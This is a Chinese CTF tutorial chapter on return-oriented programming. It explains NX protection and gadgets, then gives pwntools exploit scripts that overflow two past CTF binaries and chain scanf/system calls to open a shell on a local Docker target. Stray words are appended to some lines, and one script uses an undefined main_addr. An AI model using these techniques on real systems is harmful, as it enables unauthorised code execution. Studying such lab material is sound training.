Linux Pwn入門教程系列分享如約而至,本套課程是做者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。html
教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,全部環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有註釋的python腳本。python
課程回顧>>linux
Linux Pwn入門教程第二章:棧溢出基礎github
Linux Pwn入門教程第三章:ShellCodeshell
教程中的題目和腳本如有使用不妥之處,歡迎各位大佬批評指正。編程
基於前面幾期的內容分享,小夥伴在後臺給出了不少好評,同時也提出了文章篇幅縮短的建議,經調整後第四章內容分爲上下兩篇,今天分享的是Linux Pwn入門教程:ROP技術(上),閱讀用時約10分鐘。安全
背景函數
在上一篇教程的《shellcode的變形》一節中,咱們提到過內存頁的RWX三種屬性。顯然,若是某一頁內存沒有可寫(W)屬性,咱們就沒法向裏面寫入代碼,若是沒有可執行(X)屬性,寫入到內存頁中的ShellCode就沒法執行。工具
關於這個特性的實驗在此不作展開,你們能夠嘗試在調試時修改EIP和read( )/scanf( )/gets( )等函數的參數來觀察操做無對應屬性內存的結果。那麼咱們怎麼看某個ELF文件中是否有RWX內存頁呢?首先咱們能夠在靜態分析和調試中使用IDA的快捷鍵Ctrl + S
既然攻擊者們能想到在RWX段內存頁中寫入ShellCode並執行,防護者們也能想到,所以,一種名爲NX位(No eXecute bit)的技術出現了。這是一種在CPU上實現的安全技術,這個位將內存頁以數據和指令兩種方式進行了分類。被標記爲數據頁的內存頁(如棧和堆)上的數據沒法被當成指令執行,即沒有X屬性。因爲該保護方式的使用,以前直接向內存中寫入ShellCode執行的方式顯然失去了做用。所以,咱們就須要學習一種著名的繞過技術——ROP(Return-Oriented Programming, 返回導向編程)
顧名思義,ROP就是使用返回指令ret鏈接代碼的一種技術(同理還可使用jmp系列指令和call指令,有時候也會對應地成爲JOP/COP)。一個程序中必然會存在函數,而有函數就會有ret指令。咱們知道,ret指令的本質是pop eip,即把當前棧頂的內容做爲內存地址進行跳轉。
而ROP就是利用棧溢出在棧上佈置一系列內存地址,每一個內存地址對應一個gadget,即以ret/jmp/call等指令結尾的一小段彙編指令,經過一個接一個的跳轉執行某個功能。因爲這些彙編指令原本就存在於指令區,確定能夠執行,而咱們在棧上寫入的只是內存地址,屬於數據,因此這種方式能夠有效繞過NX保護。
使用ROP調用got表中函數
首先咱們來看一個x86下的簡單ROP,咱們將經過這裏例子演示如何調用一個存在於got表中的函數並控制其參數。咱們打開~/RedHat 2017-pwn1/pwn1。能夠很明顯看到main函數存在棧溢出:
程序開啓了NX保護,因此顯然咱們不可能用shellcode打開一個shell。根據以前文章的思路,咱們很容易想到要調用system函數執行system(「/bin/sh」)。那麼咱們從哪裏能夠找到system和「/bin/sh」呢?
第一個問題,咱們知道使用動態連接的程序導入庫函數的話,咱們能夠在GOT表和PLT表中找到函數對應的項(稍後的文章中咱們將詳細解釋)。跳轉到.got.plt段,咱們發現程序裏竟然導入了system函數。
解決了第一個問題以後咱們就須要考慮第二個問題。經過對程序的搜索咱們沒有發現字符串「/bin/sh」,可是程序裏有__isoc99_scanf,咱們能夠調用這個函數來讀取「/bin/sh」字符串到進程內存中。下面咱們來開始構建ROP鏈。
首先咱們考慮一下「/bin/sh」字符串應該放哪。經過調試時按Ctrl+S快捷鍵查看程序的內存分段,咱們看到0x0804a030開始有個可讀可寫的大於8字節的地址,且該地址不受ASLR影響,咱們能夠考慮把字符串讀到這裏。
接下來咱們找到__isoc99_scanf的另外一個參數「%s」,位於0x08048629
接着咱們使用pwntools的功能獲取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代碼,將EIP劫持到某個函數的PLT表項中咱們能夠直接調用該函數。咱們知道,對於x86的應用程序來講,其參數從右往左入棧。所以,如今咱們就能夠構建出一個ROP鏈。
`from pwn import * context.update(arch = 'i386', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) elf = ELF('./pwn1') scanf_addr = p32(elf.symbols['__isoc99_scanf']) format_s = p32(0x08048629) binsh_addr = p32(0x0804a030) shellcode1 = 'A'*0x34 shellcode1 += scanf_addr shellcode1 += format_s shellcode1 += binsh_addr print io.read( ) io.sendline(shellcode1) io.sendline(「/bin/sh」)
經過調試咱們能夠看到,當EIP指向retn時,棧上的數據和咱們的預想同樣,棧頂是plt表中__isoc99_scanf的首地址,緊接着是兩個參數。咱們繼續跟進執行,在libc中執行一下子以後,咱們收到了一個錯誤,這是爲何呢?
咱們回顧一下以前的內容。咱們知道call指令會將call指令的下一條指令地址壓入棧中,當被call調用的函數運行結束後,ret指令就會取出被call指令壓入棧中的地址傳輸給EIP。
可是在這裏咱們繞過call直接調用了__isoc99_scanf,沒有像call指令同樣向棧壓入一個地址。此時函數認爲返回地址是緊接着scanf_addr的format_s,而第一個參數就變成了binsh_addr`
call調用函數的狀況
08048557 mov [esp+4], eax 0804855B mov dword ptr [esp], offset unk_8048629 08048562 call ___isoc99_scanf 08048567 lea eax, [esp+18h]
08048580 leave 08048581 retn ; pop eip F7E22610 __isoc99_scanf: F7E22610 push ebp F7E22611 mov ebp, esp
從兩種調用方式的比較上咱們能夠看到,因爲少了call指令的壓棧操做,若是咱們在佈置棧的時候不模擬出一個壓入棧中的地址,被調用函數的取到的參數就是錯位的。因此咱們須要改良一下ROP鏈。根據上面的描述,咱們應該在參數和保存的EIP中間放置一個執行完的返回地址。鑑於咱們調用scanf讀取字符串後還要調用system函數,咱們讓__isoc99_scanf執行完後再次返回到main函數開頭,以便於再執行一次棧溢出。改良後的ROP鏈以下:
from pwn import * context.update(arch = 'i386', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) elf = ELF('./pwn1') scanf_addr = p32(elf.symbols['__isoc99_scanf']) format_s = p32(0x08048629) binsh_addr = p32(0x0804a030) shellcode1 = 'A'*0x34 shellcode1 += scanf_addr shellcode1 += main_addr shellcode1 += format_s shellcode1 += binsh_addr print io.read() io.sendline(shellcode1) io.sendline(「/bin/sh」)
咱們再次進行調試,發現這回成功調用__isoc99_scanf把「/bin/sh」字符串讀取到地址0x0804a030處:
此時程序再次從main函數開始執行。因爲棧的狀態發生了改變,咱們須要從新計算溢出的字節數。而後再次利用ROP鏈調用system執行system(「/bin/sh」),這個ROP鏈能夠模仿上一個寫出來,完整的腳本也能夠在對應文件夾中找到,此處再也不贅述。
接下來讓咱們來看看64位下如何使用ROP調用got表中的函數。咱們打開文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就能夠發現溢出出如今Hello( )裏
和上一個例子同樣,因爲程序開啓了NX保護,咱們必須找到system函數和「/bin/sh」字符串。程序在main函數中調用了本身定義的一個叫today的函數,執行了system(「/bin/date」),那麼system函數就有了。至於「/bin/sh」字符串,雖然程序中沒有,可是咱們找到了「sh」字符串,利用這個字符串其實也能夠開shell。
有不少工具能夠幫咱們找到ROP gadget,例如Pwntools自帶的ROP類,ROPgadget、rp++、ropeme等。在這裏我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)
經過ROPgadget --binary 指定二進制文件,使用grep在輸出的全部gadgets中尋找須要的片斷。
這裏有一個小trick。首先,咱們看一下IDA中這個地址的內容。
咱們能夠發現並無0x400883這個地址,0x400882是pop r15, 接下來就是0x400884的retn,那麼這個pop rdi會不會是由於ROPgadget出bug了呢?別急,咱們選擇0x400882,按快捷鍵D轉換成數據。
咱們能夠看出來pop rdi其實是pop r15的「一部分」。這也再次驗證了彙編指令不過是一串可被解析爲合法opcode的數據的別名。只要對應的數據所在內存可執行,能被轉成合法的opcode,跳轉過去都是不會有問題的。
如今咱們已經準備好了全部東西,能夠開始構建ROP鏈了。這回咱們直接調用call system指令,省去了手動往棧上補返回地址的環節,腳本以下:
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) call_system = 0x40075f #call system指令在內存中的位置 binsh = 0x4003ef #字符串"sh"在內存中的位置 pop_rdi = 0x400883 #pop rdi; retn payload = "" payload += "A"*88 #padding payload += p64(pop_rdi) payload += p64(binsh) #rdi指向字符串"sh" payload += p64(call_system) #調用system執行system("sh") io.sendline(payload) io.interactive()
進行調試,發現開shell成功。
retn跳轉到0x400883處的gadget:pop rdi; ret
retn跳轉到call system處。
以上是今天的內容,你們看懂了嗎?後面咱們將持續更新Linux Pwn入門教程的相關章節,但願你們及時關注。